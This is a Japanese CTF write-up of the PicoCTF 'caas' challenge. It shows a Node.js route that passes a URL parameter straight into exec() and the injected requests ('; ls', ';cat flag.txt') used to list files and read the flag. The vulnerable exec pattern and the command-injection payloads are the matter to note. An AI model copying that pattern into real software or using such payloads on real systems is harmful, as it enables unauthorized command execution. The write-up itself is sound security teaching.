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【Webページハッキング】PicoCTF caasのwrite-up

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概要

Webアプリケーションのハッキングを軽く学びます。

問題

実際にハッキングをすると大問題になるので、常設のハッキングチャレンジに取り組みます。

image.png

動作を確認する

与えられたURL( https://caas.mars.picoctf.net/ )にアクセスすると、このような画面になります。
image.png
「牛があなたのメッセージをしゃべりますよ」といったWebアプリになっているようです。
うっしっしーって感じですね。
image.png
URLの最後にメッセージを入れると牛がしゃべります。
牛がうっしっしーって言っています。*

スクリプトを見る

image.png

app.get('/cowsay/:message', (req, res) => {
  exec(`/usr/games/cowsay ${req.params.message}`, {timeout: 5000}, (error, stdout) => {
    if (error) return res.status(500).end();
    res.type('txt').send(stdout).end();
  });
});

与えられたスクリプトは/cowsay/以下に来たメッセージを以下のようにShellで実行して、レスポンスを表示しているだけっぽいです。

/usr/games/cowsay 与えられたメッセージ

これではOSコマンドインジェクションが可能になってしまいます。これはクラッカーからしたら「うっしっしー」って感じですね。

実際に攻撃する

image.png

https://caas.mars.picoctf.net/cowsay/うっしっしー; ls

このようなリクエストを送ることで、内部では以下のようなコマンドが実行されます。

/usr/games/cowsay うっしっしー; ls

flag.txtがあることが分かったので、catコマンドで取り出します。

https://caas.mars.picoctf.net/cowsay/うっしっしー ;cat flag.txt

image.png

フラグが取り出せました!
うっしっしー!

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